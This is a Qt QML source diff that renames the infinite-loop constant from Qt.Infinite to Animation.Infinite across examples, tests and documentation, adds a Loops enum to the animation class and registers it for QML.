--git a/examples/declarative/fonts/banner.qml b/examples/declarative/fonts/banner.qml index bb4fe24..957246f 100644 --- a/examples/declarative/fonts/banner.qml +++ b/examples/declarative/fonts/banner.qml @@ -10,7 +10,7 @@ Rectangle { Row { y: -screen.height / 4.5 - NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Qt.Infinite } + NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite } Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } diff --git a/examples/declarative/fonts/hello.qml b/examples/declarative/fonts/hello.qml index f703167..e15a0f0 100644 --- a/examples/declarative/fonts/hello.qml +++ b/examples/declarative/fonts/hello.qml @@ -10,7 +10,7 @@ Rectangle { text: "Hello world!"; font.pixelSize: 60 SequentialAnimation on font.letterSpacing { - loops: Qt.Infinite; + loops: Animation.Infinite; NumberAnimation { from: 100; to: 300; easing.type: "InQuad"; duration: 3000 } ScriptAction { script: { container.y = (screen.height / 4) + (Math.random() * screen.height / 2) @@ -18,7 +18,7 @@ Rectangle { } } } SequentialAnimation on opacity { - loops: Qt.Infinite; + loops: Animation.Infinite; NumberAnimation { from: 1; to: 0; duration: 2600 } PauseAnimation { duration: 400 } } diff --git a/examples/declarative/listview/content/ClickAutoRepeating.qml b/examples/declarative/listview/content/ClickAutoRepeating.qml index 8ef4a52..cbf1f3b 100644 --- a/examples/declarative/listview/content/ClickAutoRepeating.qml +++ b/examples/declarative/listview/content/ClickAutoRepeating.qml @@ -18,7 +18,7 @@ Item { ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatdelay } SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatperiod } } diff --git a/examples/declarative/parallax/qml/Smiley.qml b/examples/declarative/parallax/qml/Smiley.qml index 75302a3..c13b879 100644 --- a/examples/declarative/parallax/qml/Smiley.qml +++ b/examples/declarative/parallax/qml/Smiley.qml @@ -25,7 +25,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/progressbar/progressbars.qml b/examples/declarative/progressbar/progressbars.qml index ced3ccd..c8022b0 100644 --- a/examples/declarative/progressbar/progressbars.qml +++ b/examples/declarative/progressbar/progressbars.qml @@ -14,9 +14,9 @@ Rectangle { ProgressBar { property int r: Math.floor(Math.random() * 5000 + 1000) width: main.width - 20 - NumberAnimation on value { duration: r; from: 0; to: 100; loops: Qt.Infinite } - ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Qt.Infinite } - ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Qt.Infinite } + NumberAnimation on value { duration: r; from: 0; to: 100; loops: Animation.Infinite } + ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Animation.Infinite } + ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Animation.Infinite } } } } diff --git a/examples/declarative/tvtennis/tvtennis.qml b/examples/declarative/tvtennis/tvtennis.qml index 138d587..fcb285d 100644 --- a/examples/declarative/tvtennis/tvtennis.qml +++ b/examples/declarative/tvtennis/tvtennis.qml @@ -21,7 +21,7 @@ Rectangle { // Move the ball to the right and back to the left repeatedly SequentialAnimation on x { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: page.width - 40; duration: 2000 } ScriptAction { script: paddle.play() } PropertyAction { target: ball; property: "direction"; value: "left" } diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index b0f568f..62c0ce2 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -18,7 +18,7 @@ Item { NumberAnimation on rotation { from: 0 to: 360 - loops: Qt.Infinite + loops: Animation.Infinite duration: root.period } } diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index b85cfb6..2a35dda 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -12,7 +12,7 @@ Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) ScriptAction: renamed stateChangeScriptName -> scriptName -Animation: replace repeat with loops (loops: Qt.Infinite gives the old repeat behavior) +Animation: replace repeat with loops (loops: Animation.Infinite gives the old repeat behavior) C++ API ------- diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index e374a93..366750e 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -1107,7 +1107,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - loops: Qt.Infinite + loops: Animation.Infinite } } \endqml @@ -1155,7 +1155,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - loops: Qt.Infinite + loops: Animation.Infinite } } \endqml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index b4362ce..ddbe433 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -218,9 +218,6 @@ QDeclarativeScriptEngine::QDeclarativeScriptEngine(QDeclarativeEnginePrivate *pr // XXX When the above a done some better way, that way should also be // XXX used to add Qt.Sound class. - //for animations that loop forever - qtObject.setProperty(QLatin1String("Infinite"), -1); - //types qtObject.setProperty(QLatin1String("rgba"), newFunction(QDeclarativeEnginePrivate::rgba, 4)); qtObject.setProperty(QLatin1String("hsla"), newFunction(QDeclarativeEnginePrivate::hsla, 4)); diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 81ab3d3..bad142c 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -309,7 +309,7 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) By default, \c loops is 1: the animation will play through once and then stop. - If set to Qt.Infinite, the animation will continuously repeat until it is explicitly + If set to Animation.Infinite, the animation will continuously repeat until it is explicitly stopped - either by setting the \c running property to false, or by calling the \c stop() method. @@ -319,7 +319,7 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) Rectangle { width: 100; height: 100; color: "green" RotationAnimation on rotation { - loops: Qt.Infinite + loops: Animation.Infinite from: 0 to: 360 } @@ -335,6 +335,9 @@ int QDeclarativeAbstractAnimation::loops() const void QDeclarativeAbstractAnimation::setLoops(int loops) { Q_D(QDeclarativeAbstractAnimation); + if (loops < 0) + loops = -1; + if (loops == d->loopCount) return; @@ -1598,7 +1601,7 @@ void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int \qml Rectangle { SequentialAnimation on x { - loops: Qt.Infinite + loops: Animation.Infinite PropertyAnimation { to: 50 } PropertyAnimation { to: 0 } } @@ -2007,7 +2010,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) id: theRect width: 100; height: 100 color: Qt.rgba(0,0,1) - NumberAnimation on x { to: 500; loops: Qt.Infinite } //animate theRect's x property + NumberAnimation on x { to: 500; loops: Animation.Infinite } //animate theRect's x property Behavior on y { NumberAnimation {} } //animate theRect's y property } \endqml diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 2e5b87c..816520e 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -70,6 +70,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_INTERFACES(QDeclarativeParserStatus) Q_INTERFACES(QDeclarativePropertyValueSource) + Q_ENUMS(Loops) Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) @@ -80,6 +81,8 @@ public: QDeclarativeAbstractAnimation(QObject *parent=0); virtual ~QDeclarativeAbstractAnimation(); + enum Loops { Infinite = -2 }; + bool isRunning() const; void setRunning(bool); bool isPaused() const; diff --git a/src/declarative/util/qdeclarativespringfollow.cpp b/src/declarative/util/qdeclarativespringfollow.cpp index ca88b24..76d7c98 100644 --- a/src/declarative/util/qdeclarativespringfollow.cpp +++ b/src/declarative/util/qdeclarativespringfollow.cpp @@ -224,7 +224,7 @@ void QDeclarativeSpringFollowPrivate::stop() color: "#00ff00" y: 200 // initial value SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 200 easing.type: "OutBounce" diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 46c9b73..d79c6ba 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -71,6 +71,38 @@ #include "qdeclarativexmllistmodel_p.h" #endif +template +int qmlRegisterTypeEnums(const char *qmlName) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 0, + + qRegisterMetaType(pointerName.constData()), + qRegisterMetaType >(listName.constData()), + 0, 0, + + "Qt", 4, 6, qmlName, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc(), + QDeclarativePrivate::attachedPropertiesMetaObject(), + + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + + 0, 0, + + 0 + }; + + return QDeclarativePrivate::registerType(type); +} + void QDeclarativeUtilModule::defineModule() { qmlRegisterType("Qt",4,6,"AnchorAnimation"); @@ -107,9 +139,10 @@ void QDeclarativeUtilModule::defineModule() #endif qmlRegisterType(); - qmlRegisterType(); qmlRegisterType(); + qmlRegisterTypeEnums("Animation"); + qmlRegisterCustomType("Qt", 4,6, "ListModel", "QDeclarativeListModel", new QDeclarativeListModelParser); qmlRegisterCustomType("Qt", 4, 6, "PropertyChanges", "QDeclarativePropertyChanges", diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml index ed43082..d6bfe45 100644 --- a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml +++ b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml @@ -10,7 +10,7 @@ Rectangle { width: 100; height: 100 color: Qt.rgba(1,0,0) Behavior on x { - NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Qt.Infinite} + NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Animation.Infinite} } } diff --git a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml index da2e8d0..5ce758d 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml @@ -66,4 +66,4 @@ Rectangle { ] } - \ No newline at end of file + diff --git a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml index bf4dd85..5f97408 100644 --- a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml +++ b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml @@ -7,4 +7,4 @@ Item { Item { objectName: "parentItem" } -} \ No newline at end of file +} diff --git a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml index a41f003..09877ac 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml @@ -68,4 +68,4 @@ Rectangle { ] } - \ No newline at end of file + diff --git a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml index 550ce8d..8c9f88e 100644 --- a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml +++ b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml @@ -8,4 +8,4 @@ Row { text: "I'm item " + index } } -} \ No newline at end of file +} diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml index 36f3ece..927e103 100644 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ b/tests/auto/declarative/visual/animation/loop/loop.qml @@ -14,7 +14,7 @@ Rectangle { back to 100, jumps to 200, and so on. */ x: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 100; duration: 1000 } NumberAnimation { from: 200; to: 400; duration: 1000 } } diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml index 0429171..4562aa7 100644 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml @@ -11,7 +11,7 @@ Rectangle { x: 60-width/2 y: 200-height y: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 0; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml index 2beb1dd..c3006d5 100644 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -19,13 +19,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 width: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } height: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml index c9e65fe..99a9973 100644 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml @@ -7,7 +7,7 @@ Rectangle { id: rect width: 50; height: 20; y: 30; color: "black" x: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 50; to: 700; duration: 2000 } NumberAnimation { from: 700; to: 50; duration: 2000 } } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml index 4809a9c..e9c94c7 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml @@ -8,7 +8,7 @@ Rectangle { color: "#00ff00" y: 200; width: 60; height: 20 y: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 20; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml index 7b1042b..ecd9470 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml @@ -5,7 +5,7 @@ Rectangle { height: 100 Text { - width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 5000 } + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 5000 } elide: Text.ElideRight text: 'Here is some very long text that we should truncate when sizing window' } diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml index 21763b2..ab6e1533 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml @@ -11,7 +11,7 @@ Rectangle { anchors.centerIn: parent Text { id: myText - width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 1000 } + width: NumberAnimation { from: 500; to: 0; loops: Animation.Infinite; duration: 1000 } elide: "ElideRight" text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" } diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml index f50aec6..5516fc9 100644 --- a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml index 7b981ac..199f71f 100644 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml index 406e156..bcbcf5c 100644 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ b/tests/auto/declarative/visual/webview/zooming/renderControl.qml @@ -10,7 +10,7 @@ Rectangle { width: 400 url: "renderControl.html" x: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 100; to: 0; duration: 200 } PropertyAction { target: webview; property: "renderingEnabled"; value: false } NumberAnimation { from: 0; to: -100; duration: 200 } diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml index 57cc17b..bce6744 100644 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ b/tests/auto/declarative/visual/webview/zooming/resolution.qml @@ -8,7 +8,7 @@ WebView { url: "resolution.html" zoomFactor: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 1; to: 0.25; duration: 2000 } NumberAnimation { from: 0.25; to: 1; duration: 2000 } NumberAnimation { from: 1; to: 5; duration: 2000 } diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml index f4c8aaa..6d51c8a 100644 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml @@ -8,7 +8,7 @@ WebView { settings.zoomTextOnly: true zoomFactor: SequentialAnimation { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 2; to: 0.25; duration: 1000 } NumberAnimation { from: 0.25; to: 2; duration: 1000 } } -- cgit v0.12